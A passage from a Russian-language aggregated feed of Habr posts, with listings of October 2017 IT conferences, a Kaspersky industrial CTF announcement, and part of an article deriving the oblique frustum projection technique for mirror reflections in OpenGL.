        Ярославские программисты, работающие с Big Data, имеют возможность обменяться опытом с представителями крупных компаний (EPAM, JetBrains) на октябрьской Yappi Days. Речь войдет о современным технологиям в обработке данных и архитектуре ПО. Спикеры обещают поделиться лучшими практиками из своего опыта в докладах и вступить о слушателями в свободный диалог в экспертной зоне, а организаторы намекают на подарки участникам и прочие приятные бонусы.

        INDEX TECH

        Когда: 13 октября
        Где: Москва, ул. Мясницкая, 13, стр. 18
        Условия участия: 6000 руб.

        Интересная конференция по одному из самых болезненных вопросов в IT сообществе — вопросу совместной работы кадровиков и девов в процессе отбора и оценки соискателей. Организаторы оптимистично рассчитывают на цивилизованное обсуждение таких тем, как роли представителей HR и IT отделов в процессе, необходимый уровень технический знаний для проводящего собеседования, стандартные и нестандартные каналы поиска кадров, правила составления вакансии, обучение на рабочем месте. Само собой, не обойдется и без примеров из жизни и, что особенно ценно, слово в ходе выступлений получат все три вовлеченные стороны.

        #UFADEVCONF

        Когда: 14 октября
        Где: Уфа, ул. Менделеева, 158
        Условия участия: бесплатно, требуется регистрация

        В рамках проекта «День Интерента» состоится первая уфимская IT-конференция, на которой местные и приглашенные специалисты смогут обсудить широкий круг тем, касающихся IT-сферы. Программа включает секции Frontend (локализация, JavaScript, MobX, шаблонизация), Backend (Postgres, PHP, практические кейсы) и Mobile (повышение производительности, кроссплатформенность, Vision framework). В регулярных перерывах между докладами аудитории предлагается заняться нетворкингом и оценить заготовленную организаторами развлекательную программу.

        #ITSUBBOTNIK: TECHNICAL MIX

        Когда: 14 октября
        Где: Рязань, Первомайский проспект, 54, конгресс-отель «АМАКС»
        Условия участия: бесплатно, требуется регистрация

        Микс — это не для красного словца, рязанская конференция действительно обещает крайне разношерстный набор тем. Что-нибудь интересное найдется для программиста любого профиля: тут и DevOps, и реактивное программирование, веб-разработка рука об руку с machine learning, да и тестирование не осталось в стороне. Докладчики — специалисты из компании EPAM.

        SeedStars Moscow

        Когда: 14 октября
        Где: Москва, ул. Мясницкая, 13 стр. 18
        Условия участия: бесплатно, требуется регистрация

        Ощущаете себя лучшим стартапом в Европе? Бывает, но если серьезно: не упустите свой шанс доказать это международной экспертной комиссии и получить миллион на развитие. В ходе русского этапа Seedstars World будут отобраны 10 финалистов, которые отправятся в Швейцарию на заключительный этап, бороться за приз и мировую славу. К участию приглашаются стратапы из сфер AgriTech, IoT, EdTech, FinTech, TravelTech, HealthTech, AdTech не старше двух лет, с объемом инвестиций не более 500 000 $ и обязательным наличием MVP.

        Найти IT

        Когда: 14 октября
        Где: Санкт-Петербург, набережная Обводного канала, 60, креативное пространство «ТКАЧИ»
        Условия участия: бесплатно

        Отличная возможность для разработчиков культурной столицы, заинтересованных в новых карьерных возможностях, людей посмотреть, себя показать и между делом поиграть с роботами. На площадке будут присутствовать представители ведущих отечественных IT-компаний, которые будут рады рассказать о вакансиях и стажировках и оценить ваши компетенции. Помимо общения с возможными работодателями посетители могут принять участие в бесплатных лекциях и мастер-классах, посетить game зону и выставку робототехники.

        Курсы «Базы данных. SQL. Junior», «Разработка кроссплатформенных мобильных приложений», «Разработка highload приложений на PHP»

        Когда: 16-31 октября
        Где: Ижевск, ул. 30 лет Победы, 2
        Условия участия: бесплатно, требуется регистрация

        В октябре в рамках проекта IT Univer в Ижевске планируется три курса для студентов и начинающих программистов, которые хотят получить прикладные знания и глубже вникнуть в выбранную сферу. Подробная информация об организаторах и программе каждого представлена на странице проекта.

        Cloud Services Russia 2017

        Когда: 17 октября
        Где: Москва, ул. Тверская, д. 26/1, отель «Марриотт Москва Гранд Отель»
        Условия участия: 13 500 руб.

        Облачное хранение данных — тема неиссякаемая, что доказывает и очередная тематическая конференция от COMNEWS. Дискуссия будет вращаться вокруг последних тенденций на рынке, умного хранения данных в свете новых разработок в области искусственного интеллекта и Интернета вещей, совмещения частных и публичных сред и вытекающих вопросов безопасности, специфики применения облака в ПО. Также будут рассмотрены некоторые одобренные экспертами решения и технологии, приведены случаи из практики успешных компаний.

        DevOops

        Когда: 20 октября
        Где: Санкт-Петербург, ул. Стартовая, 6, литера А
        Условия участия: от 14 000 руб.

        Первая конференция, целиком и полностью сосредоточенная на DevOps и всем том, что он привносит в нашу жизнь. В частности: оркестрация, виртуализация, мониторинг и аудит приложений, секрьюти. Разделенные по трем трэкам, выступления будут объединять широкую проблематику с решением частных проблем, а теорию — с реальными кейсами. Общение с русскими и зарубежными экспертами продолжится в специально оборудованных дискуссионных зонах.



        SECR 2017

        Когда: 20-22 октября
        Где: Санкт-Петербург, пр. Медиков, 3, к.1, Конгресс-центр ClubHouse
        Условия участия: от 17 250 руб.

        Конференция «полного цикла» для команд, работающих над ПО — освещение получат практически все аспекты процесса создания и выпуска на рынок IT-продукта. Выступления и мастер-классы от русских и зарубежных представителей действительно авторитетных компаний разбиты на три дня и пять потоков и покрывают все от собственно разработки, тестирования и UX дизайна до DevOps и управления проектами.

        SmartData

        Когда: 21 октября
        Где: Санкт-Петербург, ул. Стартовая, д. 6 литера А
        Условия участия: 14 000 руб.

        Октябрь в сфере IT оказался урожаен на и большие данные — встречайте еще одну конференцию на эту тему. SmartData предлагает взглянуть на big data как на уже сложившуюся, зрелую индустрию и проследить, как наработанный стек решений справляется с реальными задачами, насколько сейчас актуальны те или иные технологии.

        Russian Вlockchain Week

        Когда: 26-27 октября
        Где: Москва, Стремянный пер., 36
        Условия участия: 18 000 руб. (23 после 28.09)

        Три дня блокчейна в самых разных проявлениях: здесь будут доклады от трех десятков экспертов со всего света, шоу и выставка, на которых представят свои проекты пятьдесят молодых команд, открытые для сотрудничества инвесторы и поставщики и вечеринка Blockchain.Night как завершающий аккорд в неформальной обстановке. Круг тем знакомый — криптовалюты, майнинг, ICO, законодательство.



        MBLTdev 2017

        Когда: 27 октября
        Где: Москва, Берсеневская наб. 6, строение 3
        Условия участия: 7 500 руб.

        То, чего, вероятно, ждали все мобильные разработчики — общий сбор специалистов, от столичных до экспортированных ради такого случая из Кремниевой долины, для обсуждения последних трендов и вечных проблем разработки на iOS и Android. В темах фигурируют AR, архитектура, инструменты разработки, производительность и скорость, а также викторины и прочие интригующие мероприятия.

        Workshop. IoT

        Когда: 28 октября
        Где: Москва, Берсеневская набережная, 6, стр.3
        Условия участия: 14 500 руб.

        Если вы еще не работали с интернетом вещей, ваш час настал. Воркшоп от Digital October в течение одного рабочего дня обещает не только заложить слушателям солидную теоретическую базу, но и провести их через процесс создания собственного IoT решения с облачной инфраструктурой. Этот курс будет полезен как разработчикам, которые хотят отработать новый навык под руководством опытного наставника, так и всем, кто просто заинтересован в лучшем понимании технологии и перспектив ее применения. Наконец, в качестве иллюстративного материала будет представлена мини-пивоварня, что, безусловно, говорит в пользу мероприятия.

        HackDay в Пензе

        Когда: 27-29 октября
        Где: Пенза, ул. Гагарина, 6
        Условия участия: 256 руб.

        Классический 48-часовой хакатон для жителей Пензы. С организаторов: оборудование для прототипирования физических вещей, эксперты-менторы, горячее питание и перекусы, рабочее пространство. С вас: чисто символический взнос, работоспособность, ноутбук, спальник, идея проекта и, опционально, команда. Награждение будет проходить в четырех номинациях (tech, hack,hardware, startup) и завершится вручением призов.

        IV международная выставка-конференция «Интернет вещей»

        Когда: 31 октября — 1 ноября
        Где: Москва, КВЦ Сокольники, павильон 7-А
        Условия участия: 10 000 руб.

        И еще одна конференция о нашумевших технологиях Интернета вещей, их применимости и преимуществах. Первый день отдан разбору существующих решений, как ПО, так и «железа» — их достоинствах, недостатках и потенциале в различных сферах. Во второй специалисты расскажут об опыте внедрения Industrial IoT и LifeStyle IoT разработок в рабочий процесс. В программе завялены доклады от таких игроков, как SAP, ФРИИ, DZ Systems, «Астрософт», Kaspersky Lab, KNX, Ассоциация Интернета вещей и другие.
        Original source: habrahabr.ru (comments, light).

        https://habrahabr.ru/post/338730/


        Метки:  

        Kaspersky Industrial CTF 2017 в Шанхае: все на киберштурм нефтеперегонного завода

        Вторник, 26 Сентября 2017 г. 23:01 + в цитатник
        Kaspersky_Lab сегодня в 23:01 Разработка

        Kaspersky Industrial CTF 2017 в Шанхае: все на киберштурм нефтеперегонного завода

          «Лаборатория Касперского» приглашает желающих принять участие в масштабном киберштурме модели нефтеперегонного завода — нашем индустриальном CTF 2017. На этот раз финал соревнования пройдёт 24 октября в Шанхае, прямо на конференции GeekPWN. Это мероприятие, посвященное новым уязвимостям нулевого дня в устройствах всех мастей, проводит партнер ЛК — компания Keen Cloud Tech. Так что четыре лучших команды, преодолевших отборочный этап в онлайне, получат возможность не только атаковать технологические процессы нефтепереработки небольшого завода с цифровой подстанцией, но и увидеть деловую столицу Китая, а также пообщаться с лучшими отраслевыми ИБ-спецами. Кроме того, финалисты смогут испытать на прочность и несколько IoT устройств, связанных между собой, включая новую версию Алкобота ЛК, который наградит взломщиков интересными напитками. И весь этот hack&fun — за счет организаторов: финалистам оплатят билеты и проживание в Китае.

          Однако прежде чем попасть в Шанхай, командам-участницам предстоит преодолеть отборочный этап в виде task-based CTF, который пройдет онлайн с 6 по 8 октября. Киберштурмовиков ожидают следующие типы испытаний: Crypt, Reverse, Web, Network и Fun. После подведения итогов будут выбраны четыре лучшие команды, которые и отправятся на финал в Поднебесную. Для участия в отборочных соревнованиях нужно пройти регистрацию на сайте http://ctf.kaspersky.com. Ждем вас, друзья! И до встречи в Шанхае!
          Original source: habrahabr.ru (comments, light).

          https://habrahabr.ru/post/338784/


          Метки:  

          Oblique frustum. Внутри скошенной пирамиды видимости

          Вторник, 26 Сентября 2017 г. 18:34 + в цитатник
          nailer сегодня в 18:34 Разработка

          Oblique frustum. Внутри скошенной пирамиды видимости

            Нижеизложенный материал, вероятно, знаком, или даже хорошо известен, программистам, имевшим опыт работы с OpenGL, между тем, я счел уместным напомнить о модели oblique frustum, отчасти наблюдая (и разделяя) интерес читателей Хабра к вопросам OpenGL и в целом трёхмерного моделирования, отчасти из несогласия с позицией некоторых разработчиков вроде «…чтобы это использовать, вовсе не обязательно разбираться в том, как работает матрица проекции», отчасти из уважения и благодарности к Эрику Ленгелу|Eric Lengyel, изобретательная мысль которого обогатила приемы работы в среде OpenGL.
            Если в моделируемых вами сценах присутствуют зеркальные отражения, и вы подзабыли или не слышали про «oblique frustum», то возможно, что эта статья не будет для вас бесполезной.
            Несмотря на то, что я, вслед за Эриком Ленгелом, более придерживался при изложении материала представлений OpenGL, все последующие рассуждения легко распространяются на любые другие системы трёхмерного моделирования.

            Reflections

            Отражения в 3D–сценах


            В случае, когда в 3D-сценах присутствуют отражающие поверхности, обычная практика получения отражения заключается в рендеринге сцены с использованием вспомогательной камеры вида, которая сама является отражением основной камеры вида плоскостью отражающей поверхности.
            arbitrary camera

            Рис. 1. Верхняя камера является основной камерой, через которую происходит рендеринг сцены, содержащей отражающую поверхность. Нижняя камера является вспомогательной камерой, предназначенной для рендеринга отражения. Ось X направлена к наблюдателю для обеих пирамид видимости (в принятых для OpenGL представлениях), и очевидно, что координатная система для камеры, осуществляющей рендеринг отражения, является левосторонней.

            При рендеринге отражения вспомогательной камерой (камерой отражения), может оказаться, что часть объектов, расположенных между наблюдателем и отражающей поверхностью, оказывается в результирующем рендере, образуя нежелательные артефакты в изображении. Чтобы отсечь нежелательную часть отраженной сцены с финального рендера, программист ограничивает наблюдаемую из камеры отражения часть объема трёхмерной сцены воображаемой поверхностью, используя различные приемы для того, чтобы прервать визуализацию сцены за границей этой поверхности.

            Можно воспользоваться инструкцией „discard” для фрагментного шейдера или ей подобными, специфическими для отдельных реализаций рендеринга в общей идеологии 3D–моделирования ( например „kill” в AGALMiniAssembler), однако, если нам желательно решение универсальное, одинаково хорошо работающее на любом процессоре, то стоит обратить внимание на технику, предложеную Эриком Ленгелом.

            Идея Эрика Ленгела заключалась в том, чтобы модифицировать проекционную матрицу таким способом, чтобы ближний план пирамиды видимости стал как раз своего рода секущей плоскостью, отделяющей нежелательный в конечном рендере объем основной сцены.

            Для дальнейшего уместно напомнить элементарные представления аналитической геометрии.

            Плоскость в пространстве


            Для удобства изложения, будем придерживаться следующих обозначений:
            \begin{center}
\begin{array}{|rlc}
\textbf{для точек и векторов:} & \vec{A}, \vec{P}\\
\multicolumn{2}{|l}{\textit{отличая их }\mathit{w} \textit{-координатой в однородном представлении,}}\\
\multicolumn{2}{|l}{\textit{координатную запись заключаем в угловые скобки }\langle ,,, \rangle}\\[0.3em]
\textbf{для матриц:} & \mathbf{M}, \mathbf{P} \\
\textbf{транспонированная матрица:} &\mathbf{M}^\mathrm{T} \\
\textbf{обратная матрица:} & \mathbf{M}^{-1} \\
\textbf{знак } x:  & sgn(x) =
  \begin{cases}
    1,       & \quad \text{if } x>0\\
    0,       & \quad \text{if } x=0\\
    -1,  & \quad \text{if } x<0
  \end{cases}\\
\textbf{длина вектора:} & \|\vec{P}\| \\
\textbf{скалярное произведение векторов:} & \vec{Q}\cdot\vec{P} \\
\end{array}
\end{center}

            Плоскость


            Для любой пространственной 3D-точки \vec{P} и вектора \vec{N}, совокупность 3D-точек \vec{Q}, отличных от \vec{P}, удовлетворяющих уравнению \vec{N}\cdot(\vec{Q}-\vec{P}) определяет плоскость, при этом точка \vec{P} является одной из принадлежащих этой плоскости точек, а вектор \vec{N} является её вектором нормали.
            Plane

            Рис. 2. Плоскость полностью определяется принадлежащей ей точкой \vec{P} и нормаль-вектором \vec{N}.
            Уравнение плоскости часто записывается следующим выражением:

            Ax+By+Cz+D=0,

            где \mathit{A, B} и \mathit{C} есть \mathit{x, y, z} компоненты нормального вектора \vec{N}, причем D=-\vec{N}\cdot\vec{P}. Значение |D|/\|\vec{N}\| равно расстоянию до плоскости от начала координат (помним, что компоненты нормального вектора, деленные на его длину, есть направляющие косинусы единичного вектора нормали плоскости).
            В случае нормализованного вектора нормали, выражение

            d=\vec{N}\cdot\vec{Q}+D,

            может быть использовано, для нахождения расстояния от плоскости до произвольной точки \vec{Q}. Если d=0, \vec{Q} лежит в плоскости. В случае, если d>0, точка \vec{Q} находится с положительной стороны плоскости, т.е. со стороны нормального вектора плоскости, при d<0, точка \vec{Q} располагается в стороне от плоскости, в направлении противоположном направлению нормального вектора плоскости \vec{N}.
            Удобно записать плоскость четырехмерным вектором. Коротко уравнение плоскости запишется так: \langle \vec{N}, D \rangle. Очевидно, что для произвольной точки \vec{Q}, имеющей в однородных 4-хмерных координатах \mathit{w}-координату равную 1, Выражение (2) может быть переписано как d=\vec{L}\cdot\vec{Q}, где \vec{L}=\langle \vec{N}, D \rangle и точка \vec{Q} лежит в плоскости, если \vec{L}\cdot\vec{Q}=0.

            Преобразование плоскости


            Для понимания особенности пространственного преобразования плоскости, потребуется некоторое внимание уделить преобразованию нормального вектора. При пространственном преобразовании полигональной модели, вектора касательные к поверхности полигонов и вектора нормальные ведут себя неодинаково. Вектор касательный часто можно представить как разницу между двумя преобразованными вершинами, т.е. между двумя естественным образом преобразованными точками, и, вследствие этого, характер преобразованного вектора совпадает с нашими ожиданиями. Но, в общем случае пространственного преобразования, матрица \mathbf{M} которого не является ортогональной, прямое применение матрицы преобразования к нормальному вектору приведет к тому, что этот вектор перестанет быть нормальным – перпендикулярным к поверхности полигона.
            Поскольку вектор касательный \vec{T} и вектор нормальный \vec{N}, принадлежащие одному полигону, должны оставаться перпендикулярными, для скалярного произведения преобразованных векторов \vec{T}{^'} и \vec{N}{^'} должно выполняться то же условие что и для исходных векторов: \vec{T}{^'}\cdot\vec{N}{^'}=0. Совершим несколько простых алгебраических операций, чтобы прояснить природу нормального вектора:
            если \mathbf{M} – 3х3-матрица трансформации пространства (для случая касательного и нормального векторов пространственные перемещения несущественны), и \vec{T}{^'}=\mathbf{M}\vec{T}, то зададимся целью найти матрицу преобразования \mathbf{G} для \vec{N}, такую, чтобы выполнялось

            \vec{N}{^'}\cdot\vec{T}{^'}=(\mathbf{G}\vec{N})\cdot(\mathbf{M}\vec{T})=0,

            вспомним, что умножение векторов можно записать и следующим образом (совершенно равнозначным):

            (\mathbf{G}\vec{N})\cdot(\mathbf{M}\vec{T})=(\mathbf{G}\vec{N})^\mathrm{T}(\mathbf{M}\vec{T})=\vec{N}^\mathrm{T}\mathbf{G}^\mathrm{T}\mathbf{M}\vec{T},

            Поскольку \vec{N}^\mathrm{T}\vec{T}=0, выражение \vec{N}^\mathrm{T}\mathbf{G}^\mathrm{T}\mathbf{M}\vec{T}=0 выполняется, если \mathbf{G}^\mathrm{T}\mathbf{M}=\mathbf{I}, где \mathbf{I} – единичная матрица. Из чего следует, что \mathbf{G}=(\mathbf{M}^{-1})^\mathrm{T}. Вектор, трансформация которого происходит подобным образом (посредством транспонированной обратной матрицы преобразования), является вектором ковариантным, тогда как вектор, трансформирующийся подобно вектору касательному, является вектором контравариантным.

            Однако, плоскость в однородных координатах, в отличие от нормального вектора, имеет ненулевую \mathit{w}-координату, и следует дополнительно исследовать её поведение при 4х4-преобразованиях.
            Расстояние до плоскости от начала координат, после применения пространственного преобразования, с учетом особенностей преобразования нормального вектора, для лежащей в этой плоскости точки \vec{P}, через знакомое скалярное произведение:

            \begin{array}{l}D{^'}= -((\mathbf{M}{^{-1}})^\mathrm{T}\vec{N})\cdot(\mathbf{M}\vec{P}+\vec{T})\\  
\qquad {}=-((\mathbf{M}^{-1})^\mathrm{T}\vec{N})^\mathrm{T}\mathbf{M}\vec{P}-((\mathbf{M}^{-1})^\mathrm{T}\vec{N})^\mathrm{T}\vec{T}\\
\qquad {}=-\vec{N}^\mathrm{T}\mathbf{M}^{-1}\mathbf{M}\vec{P}-\vec{N}^\mathrm{T}\mathbf{M}^{-1}\vec{T}\\
\qquad{}=D -\vec{N}\cdot\mathbf{M}^{-1}\vec{T},\end{array}

            Мы воспользовались в данных вычислениях матрицей преобразования \mathbf{F}, дополненной к операциям поворота, масштабирования и скоса операцией сдвига:

            \mathbf{F}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &\mathbf{M}\quad{} &\vline  &  \vec{T} \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &0\quad{} &\vline & 1
\end{matrix}\:\;\right]
=\left[\:\;
\begin{matrix}
M_{11} &M_{12} &M_{13}  &\vline \,&T_x\\
M_{21} &M_{22} &M_{23}  &\vline \,&T_y\\
M_{31} &M_{32} &M_{33}  &\vline \,&T_z\\
\hline
0 &0 &0 &\vline \,&1\\
\end{matrix}\:\;\right],

            Матрица обратного преобразования к матрице \mathbf{F} ищется обычным алгоритмом обращения матриц:

            \mathbf{F}^{-1}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &\mathbf{M}^{-1}\quad{} &\vline  &-\mathbf{M}^{-1}\vec{T} \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &0\quad{} &\vline & 1
\end{matrix}\:\;\right]
=\left[\:\;
\begin{matrix}
M_{11}^{-1} &M_{12}^{-1} &M_{13}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_x\\
M_{21}^{-1} &M_{22}^{-1} &M_{23}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_y\\
M_{31}^{-1} &M_{32}^{-1} &M_{33}^{-1}  &\vline \,&-\mathbf{M}^{-1}T_z\\
\hline
0 &0 &0 &\vline \,&1\\
\end{matrix}\:\;\right],

            Транспонируем обратную матрицу:

            {\left(\mathbf{F}^{-1}\right)^\mathrm{T}}=\left[\:\;
\begin{matrix}
\quad{} &\quad{}  &\vline &\quad{}\\
 \quad{} &{\left(\mathbf{M}^{-1}\right){}^\mathrm{T}}\quad{} &\vline  &0 \\
\quad{} &\quad{}  &\vline &\quad{}\\
\hline
 \quad{} &-\mathbf{M}^{-1}\vec{T}\quad{} &\vline & 1
\end{matrix}\:\;\right],

            Можем видеть, что D -\vec{N}\cdot\mathbf{M}^{-1}\vec{T} из Выражения (5) есть результат умножения четвёртой строки транспонированной обратной матрицы преобразования на четырёхмерный вектор в однородной координатной записи \langle N_x, N_y, N_z, D \rangle, т.е. для плоскости \vec{C}=\langle \vec{N}, D\rangle, её образ при пространственной трансформации, описываемой 4х4 матрицей превращения \mathbf{F}, выражается:

            \vec{C}{^'}={\left(\mathbf{F}^{-1}\right){}^\mathrm{T}}\vec{C}.

            Для дальнейшего существенно, что плоскость подчиняется ковариантному характеру пространственного преобразования.

            Перспективная проекция


            Перспективное проецирование применяется, чтобы создать у наблюдателя ощущение глубины на проекционном плане, матрица перспективного преобразования должна отобразить пространство пирамиды видимости в нормализованное пространство куба видимости. Пирамида видимости обычно может быть выражена через термины top, bottom, left, right, far, near или fovy, aspect, near, far, некоторые реализации OpenGL имеют среди своих инструментов средства работы как для правосторонней так и для левой координатных систем. Отличия и порядок умножения матрицы на вектор в каждой из систем, должны быть ясны любому программисту.
            frustum

            Рис. 3. Усеченная пирамида видимости (frustum) в системах компьютерной графики отсекает зону видимости, для целей последующего рендеринга, с боков и вдоль осей проецирования. Пирамида видимости, в пространстве камеры вида, располагается в правосторонней системе координат так, что вершина пирамиды лежит в центре координатной системы, а направление вида из камеры противоположно оси z, ближний план находится на удалении n вдоль отрицательного направления оси z, дальний план – на удалении f вдоль отрицательного направления оси z.

            В общем случае, пирамида видимости не обязана иметь форму правильной усеченной пирамиды, она может быть и асимметричной, поэтому модель с top, bottom, left, right, far, near является более подходящей для иллюстраций особенностей oblique frustum («скошенной пирамиды видимости»). «Сжатое пространство» куба видимости, замкнутое в объёме, ограниченном плоскостями x=\pm 1, y=\pm 1, z=\pm 1, для единообразия с англоязычной терминологией будем в дальнейшем называть пространством клипа.
            Чтобы организовать задуманное нами отсечение части объектов в исходной пирамиде видимости, нам потребуется модифицировать применяемую в нашей модели матрицу перспективной проекции. Параметры таковой матрицы программисты OpenGL могут найти на сайте основной документации по OpenGL, программисты на Flash (AS3), вероятнее всего обратятся к классу PerspectiveMatrix3D, программисты Direct3D имеют свои источники, пишущие для андроида найдут всё необходимое в классе android.opengl.Matrix, и т.д. Не исключено, что кто-то, поняв основную идею, предпочтет расширить свой собственный класс перспективного преобразования дополнительной функциональностью.

            Точка из пространства пирамиды видимости камеры вида отображается в пространство клипа канонического куба, например, следующим 4х4-матричным преобразованием (воспользуемся матрицей перспективного преобразования генерируемой glFrustum()-функцией OpenGL):

            \vec{P}{^'}=\mathbf{M}_{frustum}\vec{P}= \begin{bmatrix}
\frac{2n}{r-l} &0 &\frac{r+l}{r-l} & 0\\[0.3em]
0 &\frac{2n}{t-b} &\frac{t+b}{t-b} &0 \\[0.3em]
0 & 0 &-\frac{f+n}{f-n} &-\frac{2nf}{f-n}\\[0.3em]
0 &0 &-1 & 0
\end{bmatrix}\!\!\begin{bmatrix}
P_x\\
P_y\\
P_z\\
1
\end{bmatrix}.

            При таком преобразовании, \mathit{w}-координата преобразованной точки в однородном пространстве клипа имеет знак противоположный знаку \mathit{z}-координаты точки в пространстве камеры вида.
            Особенности искажения пространства стандартной матрицей преобразования видны из Рис.4:
            \mathit{z}-координата из пространства пирамиды видимости отражается в диапазон [-1, 1] NDC, причём бесконечный диапазон за дальним планом пирамиды видимости из камеры вида сжимается в конечный промежуток \left[1, \tfrac{f+n}{f-n}\right] внутри NDC; конечное расстояние от камеры до ближнего плана вдоль оси Z расширяется до бесконечного промежутка ]{-\infty}, -1] NDC; а точки вдоль оси Z, находящиеся до камеры, отражаются в диапазон \left[ \tfrac{f+n}{f-n}, \infty\right[.

            Normalized Device Coordinates


            Рис. 4. Отражение \mathit{z}-координаты точки из пространства камеры вида в пространство нормализованных координат устройства (NDC — normalized device coordinates).

            Заменяя ближний план пирамиды видимости плоскостью отсечения, мы должны сохранить основные особенности матрицы перспективного преобразования, \mathit{z}-координата точки, лежащей на модифицированном ближнем плане, в нормализованных координатах устройства (NDC) должна остаться равной -1. Все дальнейшие наблюдения являются универсальными для любых обратимых проекционных матриц, и использование матрицы проекции из Выражения (10) служит лишь целям иллюстрации общего процесса модификации матрицы преобразования.
            Если \vec{C}{^'} является одной из плоскостей, ограничивающих пространство клипа, и при этом матрица преобразования \mathbf{M} является матрицей проекции из пространства камеры в пространство клипа, то не сложно осуществить отображение этой плоскости \vec{C}{^'} в пространство камеры из пространства клипа посредством транспонированной матрицы \mathbf{M}^\mathrm{T}, что очевидно следует из Выражения (9):

            \vec{C}=\left[\left(\mathbf{M}^{-1}\right){}^{-1}\right]{}^\mathrm{T}\vec{C}{^'}=\mathbf{M}^\mathrm{T}\vec{C}{^'}

            Модифицирование ближнего плана пирамиды видимости


            Для начала, извлечем из произвольной проекционной матрицы \mathbf{M} четырехмерные векторы, соответствующие шести плоскостям отсечения пирамиды видимости. Эрик Ленгел исходил из того, что плоскости в пространстве клипа всегда неизменны: нормаль любой плоскости параллельна одной из главных координатных осей.

            На Рис.5 показаны элементы «x-z» трёхмерного среза четырехмерного однородного пространства клипа. Внутри этого среза \mathit{w}-координата любой точки равна 1, таким образом, и \mathit{w}-координата каждой плоскости равна 1, и, разумеется, одна из x-,y-, или z-координат равна ±1, что отражено в Таблице 1. Для понимания Таблицы 1 надо ещё раз внимательно посмотреть на Выражение (11): сумма некоторых двух столбцов матрицы \mathbf{M}^\mathrm{T} не что иное, как сумма соответствующих двух строк матрицы \mathbf{M}.

            slice of homogeneous clip space


            Рис. 5. Нормальные векторы для левой, правой, ближней и дальней плоскостей, ограничивающих однородное кубическое пространство клипа. Нормальные векторы для верхней и нижней плоскостей пространства клипа направлены от и к наблюдателю.

            Табл. 1. Взаимосвязь между координатами пространства клипа и пространства усеченной пирамиды видимости камеры вида. Матрица проекции \mathbf{M} переводит пространство камеры вида в пространство клипа, и обозначение \mathbf{M}_i представляет i-ую строку матрицы \mathbf{M}.
            \begin{center}
\begin{array}{rcc}
\hline
\textbf{Frustum plane} & \textbf{Clip-space} & \textbf{Camera-space} \\
\hline
\text{Near}\qquad{} & \langle 0, 0, 1,1\rangle &\vec{M}_4 + \vec{M}_3 \\
\text{Far}\qquad{} & \langle 0, 0, -1,1\rangle & \vec{M}_4 - \vec{M}_3 \\
\text{Left}\qquad{} & \langle 1, 0, 0,1\rangle &\vec{M}_4 + \vec{M}_1 \\
\text{Right}\qquad{} & \langle -1, 0, 0,1\rangle &\vec{M}_4 - \vec{M}_1 \\
\text{Bottom}\qquad{} & \langle 0, 1, 0,1\rangle &\vec{M}_4 + \vec{M}_2 \\
\text{Top}\qquad{} & \langle 0, -1, 0,1\rangle &\vec{M}_4 - \vec{M}_2 \\
\hline
\end{array}
\end{center}

            Пусть \vec{C}=\langle C_x, C_y, C_z, C_w\rangle – некоторая плоскость, показанная ни Рис. 6, в координатном пространстве камеры вида, посредством которой мы и намереваемся ограничить нашу геометрию. Камера располагается с отрицательной стороны плоскости (со стороны противоположной направлению вектора плоскости), поэтому C_w<0. Именно этой плоскостью мы намерены заменить ближний план пирамиды видимости, поэтому, в соответствии с соотношениями из Таблицы 1, для \vec{C} должно выполняться:

            \vec{C}=\vec{M}_4+\vec{M}_3.

            Мы не можем модифицировать четвертую строку матрицы перспективной проекции, т.к. она используется для отражения отрицательной z-координаты в w-координату, и необходима для дальнейшей корректной работы графического конвеера. Однако, со вторым слагаемым правой части Выражения (12) мы можем поступать более свободно:

            \vec{M}_3{^'}=\vec{C}-\vec{M}_4.

            cut clip space

            Рис. 6. Замена ближнего плана пирамиды видимости плоскостью \vec{C}.

            Поскольку, согласно Таблицы 1, третья строка матрицы проекции входит в состав выражения для дальнего плана пирамиды видимости, то очевидно, что её модифицирование необходимо учесть для дальнего плана:

            \begin{array}{|c|}\hline
\;\\
\vec{F}=\vec{M}_4-\vec{M}_3^'}\;\\[0.3em]   
\qquad {}=2\vec{M}_4-\vec{C}\;\\[1em]
\hline \end{array}\:.

            И этот результат являет собой заметную проблему для перспективной проекции: поскольку \vec{M}_4=\langle0, 0, -1, 0 \rangle, то дальний план и ближний план пирамиды видимости перестают быть параллельными, в случае отличных от нуля значений для C_x и C_y. Более того, форма усеченной пирамиды приобретает вид крайне нежелательный в последующем рендеринге: рассмотрим некоторую точку \vec{P}=\langle x, y, 0, w \rangle, для которой выполняется \vec{C}\cdot\vec{P}=0, и это влечет за собой равенство нулю и \vec{F}\cdot\vec{P}, из чего мы должны заключить, что наши новые ближний и дальний планы пересекутся образом подобным показанному на Рис. 7 (а).
            Проекция глубины точки, ранее достигавшая максимума на дальнем плане, и необходимая нам для процесса графической растеризации, более не представляет собой проекцию вдоль оси z, а скорее, становится значением, зависящим от положения между ближним и дальним планами. Зависимость глубины проекции от направления внутри пирамиды видимости серьезнейшим образом скажется на правильности значений буфера глубины. Однако, этот нежелательный эффект, можно снизить до приемлимого для задачи растеризации уровня, уменьшив угол между ближним и дальним планами до минимально возможного. Как и всякую плоскость, плоскость \vec{C} можно масштабировать, и это её свойство как нельзя кстати в нашем случае. Масштабирование плоскости \vec{C} скажется на ориентации дальнего плана \vec{F}, так что нам требуется лишь подобрать коэффициент масштабирования таким образом, чтобы минимизировать угол между \vec{C} и \vec{F} без ущерба для содержания сцены внутри пирамиды видимости как показано на Рис. 7 (b).
            modified far plane

            Рис. 7. (а) Пересечение измененного в соответствии с Выражением (14) дальнего плана \vec{F} с модифицированным ближним планом \vec{C} в «x-y»-плоскости. (b) Масштабирование ближнего плана \vec{C} параметром \alpha, введенным Выражением (17) изменяет угол между дальним и ближним планом до минимально возможного, не повреждая при этом начального вида усечения. Затененная область относится к объему пространства, не подвергнутого усечению.

            Пусть \vec{C}{^'}=\left(\mathbf{M}^{-1}\right){}^\mathrm{T}\vec{C} является проекцией нового ближнего плана в пространстве клипа (\mathbf{M} – исходная матрица проекции). Угол \vec{Q}^' внутри пирамиды видимости, лежащий напротив плоскости \vec{C}, будет иметь следующие координаты:

